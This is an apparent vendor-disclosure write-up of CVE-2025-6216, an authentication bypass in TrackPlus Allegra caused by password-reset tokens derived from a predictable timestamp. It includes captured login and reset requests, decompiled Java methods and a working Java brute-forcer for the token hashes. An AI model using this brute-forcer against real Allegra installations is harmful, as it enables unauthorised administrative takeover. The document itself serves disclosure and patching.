CVE-2025-6216: Authentication Bypass In TrackPlus Allegra
CVE Information
CVE ID: CVE-2025-6216
Severity: HIGH
CVSS Score: 9.8
Affected Product: TrackPlus Allegra
Vulnerability Type: Authentication Bypass
Discovery Date: June 2025
Executive Summary
A critical authentication bypass vulnerability has been discovered in TrackPlus Allegra 8.1.3, allowing unauthenticated attackers to gain administrative access to the application.
Technical Details
The specific flaw exists within the password recovery mechanism. The issue results from reliance upon a predictable value when generating a password reset token. An attacker can leverage this vulnerability to bypass authentication on the application
Vulnerability Analysis
The application uses a mixture of struts2 and Jakarta as Framework for the entire webapp. The REST apis are primarily written in Jakarta. So if you want to find the source code of an endpoint you can search something like:
@POST("/login")
Upon filling out the Login form we see the below request.
POST /demo/logon!beforeLogin.action HTTP/1.1 Host: 192.168.30.135:8082 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 139 Origin: http://192.168.30.135:8082 Connection: keep-alive Referer: http://192.168.30.135:8082/demo/logoff.action?logOff=true&dc=1755430588839 Cookie: JSESSIONID=03DF3A328A62E93CF33A06F9B6FB7227 Priority: u=0 username=admin&password=000400010008000c000b&nonce=e4e75183e231444c8af0b6dc7f70ba4d&fromAjax=true&_dc=1755431276521&appType=&appActionName=
Similarly when we trigger the forget Password we see the below Request.
POST /demo/resetPassword.action HTTP/1.1 Host: 192.168.30.135:8082 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 78 Origin: http://192.168.30.135:8082 Connection: keep-alive Referer: http://192.168.30.135:8082/demo/logoff.action?logOff=true&dc=1755430588839 Cookie: JSESSIONID=03DF3A328A62E93CF33A06F9B6FB7227 email=admin%40test.com&fromAjax=true&_dc=1755431380425&appType=&appActionName=
Checking the struts-track.xml we can see that the resetPassword action is mapped to com.aurel.track.user.ResetPasswordAction class
<action name="resetPassword" class="com.aurel.track.user.ResetPasswordAction"> <result name="failure" type="redirectAction">logoff</result> <result name="resetPassword">/pages/application/borderLayout.jsp</result> <result name="expired">/pages/application/borderLayout.jsp</result> <interceptor-ref name="defaultNoAuth" /> </action>
Below is the ResetPasswordAction.class execute() method definition
public String execute() { Locale locale = this.servletRequest.getLocale(); ArrayList<LabelValueBean> errors = new ArrayList<LabelValueBean>(); String serverUrl = ApplicationBean.getInstance().getServerAbsUrl(); boolean emailSent = ProfileBL.resetPassword(this.email, serverUrl, true, errors, locale); if (errors.isEmpty()) { StringBuilder sb = new StringBuilder(); sb.append("{"); JSONUtility.appendBooleanValue(sb, "success", true); sb.append("\"data\":{"); JSONUtility.appendBooleanValue(sb, "emailSent", emailSent, true); sb.append("}"); sb.append("}"); JSONUtility.encodeJSON(ServletActionContext.getResponse(), sb.toString()); } else { JSONUtility.encodeJSONErrorsExtJS(ServletActionContext.getResponse(), errors); } return null; }
The way struts action works , is the action class will implement an execte() method and whenever this class is triggered this function gets triggered.
Checking the above execute method we can see that the profileBL.resetPassword() method is called.
public static boolean resetPassword(String email, String serverURL, boolean automaticLoginAfterReset, List<LabelValueBean> errors, Locale locale) { ApplicationBean appBean = ApplicationBean.getInstance(); if (appBean == null) { LOGGER.error("No ApplicationBean found, this should never happen"); return false; } boolean haveErrors = false; boolean emailSent = false; StringBuilder errorsMessage = new StringBuilder(); try { List<TPersonBean> personList = PersonBL.loadByEmail(email); List<TPersonBean> loginnameArray = new ArrayList<>(5); if (personList != null) { LOGGER.debug("Now looping through responses..."); for (TPersonBean person : personList) { LOGGER.debug("Could retrieve person with login name {}", person.getLoginName()); loginnameArray.add(person); Date texpDate = PersonBL.calculateTokenExpDate((Date) null); person.setTokenExpDate(texpDate); String tokenPasswd = DigestUtils.sha256Hex(Long.toString(texpDate.getTime())); person.setForgotPasswordKey(tokenPasswd); person.setLastEdit(new Date()); if (!GeneralSettings.isDemoSite() || person.getIsSysAdmin()) { PersonBL.saveSimple(person); } } } if (loginnameArray.isEmpty()) { haveErrors = true; errorsMessage.append(getText("logon.newpassword.error.email.missing", locale) + "\n"); } if (!loginnameArray.isEmpty() && !haveErrors) { try { emailSent = sendResetPassword(loginnameArray, email, serverURL, automaticLoginAfterReset); } catch (Exception e) { LOGGER.error(ExceptionUtils.getStackTrace(e)); errorsMessage.append(getText("logon.newpassword.error.email.sendFailed", locale) + "\n"); haveErrors = true; } } } catch (Exception e2) { LOGGER.debug(e2.getMessage(), e2); LOGGER.error("Cannot mail new password."); errorsMessage.append(getText("logon.err.noDataBase", locale) + "\n"); haveErrors = true; } if (haveErrors) { errors.add(new LabelValueBean(errorsMessage.toString(), "email")); } return emailSent; }
Above code block is the resetPassword() method of the ProfileBL class.
PersonBL.calculateTokenExpDate((Date) null);
calculates the expiry date of the token, then DigestUtils.sha256Hex(Long.toString(texpDate.getTime()));
encrypts the token with sha256 hash and stores it in the Person Object
Later this token gets sent to the user via email.
So far so good.
However the problem lies in the calculateTokenExpDate(). If you check the whole code , there has to be some place where the secret token must be getting generated. calculateTokenExpDate() is the function where the token gets generated and an expiry date gets set. Below is how the calculateTokenExpDate() function looks like
public static Date calculateTokenExpDate(Date personCreatedDate) { long tokenExpInMillis = 28800000L; if (personCreatedDate != null) { return new Date(personCreatedDate.getTime() + tokenExpInMillis); } return new Date(new Date().getTime() + tokenExpInMillis); }
It uses java's date() function to generate the secret token and add an expiry on it. This function doesn't generate cryptographic secure token and thus can be bruteforced with linear time . Couple of things that attackers has to keep in mind while exploting this kind of flaw is
- The Timezone difference
- The time difference(Even difference in few seconds may disrupt the attack)
Proof of Concept
The following demonstrates how an attacker can bypass authentication:
We can write a small java programme that is going to brute force the token and print it out.
Token Brute Forcer
import java.util.*; import org.apache.commons.codec.digest.DigestUtils; public class TokenHashBruteForce { public static void main(String[] args) { // Current time long now = System.currentTimeMillis(); // 5 seconds back, 2 seconds forward long start = now - (5 * 1000); // 5 seconds long end = now + (2 * 1000); // 2 seconds // 8 hours in milliseconds long eightHoursMillis = 28800000L; List<String> hashes = new ArrayList<>(); for (long time = start; time <= end; time++) { long expirationTime = time + eightHoursMillis; String hash = DigestUtils.sha256Hex(Long.toString(expirationTime)); hashes.add(hash); } // Output all hashes for (String h : hashes) { System.out.println(h); } System.out.println("\nTotal Hashes generated: " + hashes.size()); } }
Combined with a python3 script to automate the forget password request we can attain complete auth Bypass.
The exploit POC can can be found at : POC.py
Affected Versions
This vulnerability affects TrackPlus Allegra versions ≤ 8.1.3.32. Organizations using affected versions should immediately apply security patches.
Timeline
- Discovery: June 2025
- Vendor Notification: June 2025
- CVE Assignment: June 2025
References
This research was conducted by the ZDaylabs security team as part of our ongoing commitment to improving application security.